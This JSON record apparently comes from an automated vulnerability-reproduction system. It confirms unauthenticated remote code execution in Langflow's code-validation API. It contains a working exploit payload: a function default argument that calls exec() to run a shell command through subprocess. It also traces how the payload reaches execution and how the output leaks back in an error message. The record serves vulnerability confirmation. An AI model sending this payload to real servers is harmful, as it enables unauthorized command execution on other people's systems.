{
  "_pruva_terminal_reconciliation": {
    "authored_artifact_closure_sha256": "5e3b04acb9d7f87bdc05fbaa53c6a69a008520edf744d706d2025d31e25f07cf",
    "authored_runtime_manifest_sha256": "fc2fd43046ef0200d4d87ec416e2c954d6a3a74d6fc1d6184c5469acedd08f74",
    "authored_verdict_sha256": "cd970df88842eb4f00ddd41d3c51a3dd4664c919ef1d55f6dd0cc25ef06ad046",
    "claim_matching": "evaluated",
    "schema_version": 2,
    "status": "completed"
  },
  "accepted_exploit_knowledge_record_ids": [
    "9199a628-4fa2-4c50-9517-54e12e959e07",
    "c216aee7-41df-4f5f-b157-9fc7518764cf"
  ],
  "attacker_controlled_input": "Unauthenticated POST /api/v1/validate/code JSON body {\"code\": \"def exploit(cd=exec('raise Exception(__import__(\\\"subprocess\\\").check_output(\\\"id\\\", shell=True))')): pass\"} (plus @exec decorator variant and marker-writing commands)",
  "claim_outcome": "confirmed",
  "claimed_impact_class": "code_execution",
  "claimed_surface": "api_remote",
  "crash_observed": false,
  "end_to_end_target_reached": true,
  "evidence_scope": "production_path",
  "exploit_chain_demonstrated": true,
  "exploitability_confidence": "high",
  "inferred": false,
  "observed_impact_class": "code_execution",
  "read_write_primitive_observed": false,
  "repro_result": "confirmed",
  "sanitizer_used": false,
  "trigger_path": "HTTP POST /api/v1/validate/code -> langflow validate_code() -> ast.parse -> compile+exec of top-level FunctionDef -> default-arg exec() evaluated at definition time -> subprocess.check_output(shell=True) in server process -> output exfiltrated in detail.function.errors[0]",
  "validated_surface": "api_remote"
}